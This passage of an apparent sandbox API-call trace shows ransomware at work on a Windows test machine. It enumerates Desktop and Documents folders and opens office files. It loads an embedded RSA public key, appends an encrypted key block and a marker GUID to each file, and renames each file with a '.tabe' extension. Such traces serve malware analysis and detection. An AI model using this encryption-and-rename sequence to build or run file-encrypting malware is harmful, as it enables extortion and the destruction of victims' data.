PaHdQ_l3O.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\jy-oz9zzc pahdq_l3o.wav.tabe")) returned 1 [0127.653] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812a4bf0, ftCreationTime.dwHighDateTime=0x1d5d84a, ftLastAccessTime.dwLowDateTime=0x118c8a50, ftLastAccessTime.dwHighDateTime=0x1d5d864, ftLastWriteTime.dwLowDateTime=0x118c8a50, ftLastWriteTime.dwHighDateTime=0x1d5d864, nFileSizeHigh=0x0, nFileSizeLow=0xe336, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zGg2aei5gTftYJi.odt", cAlternateFileName="ZGG2AE~1.ODT")) returned 1 [0127.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\zGg2aei5gTftYJi.odt") returned=".odt" [0127.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\zGg2aei5gTftYJi.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\zgg2aei5gtftyji.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.654] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=58166) returned 1 [0127.654] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.655] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.655] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.657] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xe336, lpOverlapped=0x0) returned 1 [0127.657] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.657] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.657] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.657] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.658] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.658] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.658] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.658] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.658] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.658] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.658] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.658] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.658] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.659] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe336, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.659] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.659] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.659] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.659] CloseHandle (hObject=0x618) returned 1 [0127.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\zGg2aei5gTftYJi.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\zgg2aei5gtftyji.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\zGg2aei5gTftYJi.odt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\zgg2aei5gtftyji.odt.tabe")) returned 1 [0127.662] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812a4bf0, ftCreationTime.dwHighDateTime=0x1d5d84a, ftLastAccessTime.dwLowDateTime=0x118c8a50, ftLastAccessTime.dwHighDateTime=0x1d5d864, ftLastWriteTime.dwLowDateTime=0x118c8a50, ftLastWriteTime.dwHighDateTime=0x1d5d864, nFileSizeHigh=0x0, nFileSizeLow=0xe336, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zGg2aei5gTftYJi.odt", cAlternateFileName="ZGG2AE~1.ODT")) returned 0 [0127.662] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.662] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.662] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\") returned="246ILgmmvQPBscZULFrm\\" [0127.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\") returned="68HVN\\" [0127.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.662] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.662] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.662] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.662] PathFindFileNameW (pszPath="") returned="" [0127.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e07520, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x8023ce60, ftLastAccessTime.dwHighDateTime=0x1d5e340, ftLastWriteTime.dwLowDateTime=0x8023ce60, ftLastWriteTime.dwHighDateTime=0x1d5e340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.663] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e07520, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x8023ce60, ftLastAccessTime.dwHighDateTime=0x1d5e340, ftLastWriteTime.dwLowDateTime=0x8023ce60, ftLastWriteTime.dwHighDateTime=0x1d5e340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.663] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a89760, ftCreationTime.dwHighDateTime=0x1d5deac, ftLastAccessTime.dwLowDateTime=0xb0fe6440, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0xb0fe6440, ftLastWriteTime.dwHighDateTime=0x1d5dbd0, nFileSizeHigh=0x0, nFileSizeLow=0x1237e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rxL_sfEqEyneYu_.odt", cAlternateFileName="RXL_SF~1.ODT")) returned 1 [0127.663] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\rxL_sfEqEyneYu_.odt") returned=".odt" [0127.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\rxL_sfEqEyneYu_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\246ilgmmvqpbsczulfrm\\rxl_sfeqeyneyu_.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.664] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=74622) returned 1 [0127.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.665] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12358, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.665] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.666] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1237e, lpOverlapped=0x0) returned 1 [0127.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.667] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.668] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.668] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.668] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.668] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.668] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.668] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.668] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.668] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.668] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.669] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.669] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1237e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.669] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.669] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.669] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.669] CloseHandle (hObject=0x618) returned 1 [0127.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\rxL_sfEqEyneYu_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\246ilgmmvqpbsczulfrm\\rxl_sfeqeyneyu_.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\246ILgmmvQPBscZULFrm\\rxL_sfEqEyneYu_.odt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\68hvn\\246ilgmmvqpbsczulfrm\\rxl_sfeqeyneyu_.odt.tabe")) returned 1 [0127.672] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a89760, ftCreationTime.dwHighDateTime=0x1d5deac, ftLastAccessTime.dwLowDateTime=0xb0fe6440, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0xb0fe6440, ftLastWriteTime.dwHighDateTime=0x1d5dbd0, nFileSizeHigh=0x0, nFileSizeLow=0x1237e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rxL_sfEqEyneYu_.odt", cAlternateFileName="RXL_SF~1.ODT")) returned 0 [0127.672] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.672] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.672] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\") returned="f1HORdEsWis1i\\" [0127.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\") returned="KHLX_z_BzgqT1ccr3g5\\" [0127.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.672] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.672] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.672] PathFindFileNameW (pszPath="") returned="" [0127.672] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78ef450, ftCreationTime.dwHighDateTime=0x1d5e7b3, ftLastAccessTime.dwLowDateTime=0x50938c0, ftLastAccessTime.dwHighDateTime=0x1d5e163, ftLastWriteTime.dwLowDateTime=0x50938c0, ftLastWriteTime.dwHighDateTime=0x1d5e163, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.674] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78ef450, ftCreationTime.dwHighDateTime=0x1d5e7b3, ftLastAccessTime.dwLowDateTime=0x50938c0, ftLastAccessTime.dwHighDateTime=0x1d5e163, ftLastWriteTime.dwLowDateTime=0x50938c0, ftLastWriteTime.dwHighDateTime=0x1d5e163, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.674] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7470cc20, ftCreationTime.dwHighDateTime=0x1d5e710, ftLastAccessTime.dwLowDateTime=0x22a756a0, ftLastAccessTime.dwHighDateTime=0x1d5e2f3, ftLastWriteTime.dwLowDateTime=0x22a756a0, ftLastWriteTime.dwHighDateTime=0x1d5e2f3, nFileSizeHigh=0x0, nFileSizeLow=0x13958, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1pQDqag5Bl4.ods", cAlternateFileName="1PQDQA~1.ODS")) returned 1 [0127.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\1pQDqag5Bl4.ods") returned=".ods" [0127.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\1pQDqag5Bl4.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\1pqdqag5bl4.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.675] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=80216) returned 1 [0127.675] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.676] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13932, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.676] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.677] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13958, lpOverlapped=0x0) returned 1 [0127.678] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.678] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.678] lstrlenA (lpString="-----BEGIN PUBLIC 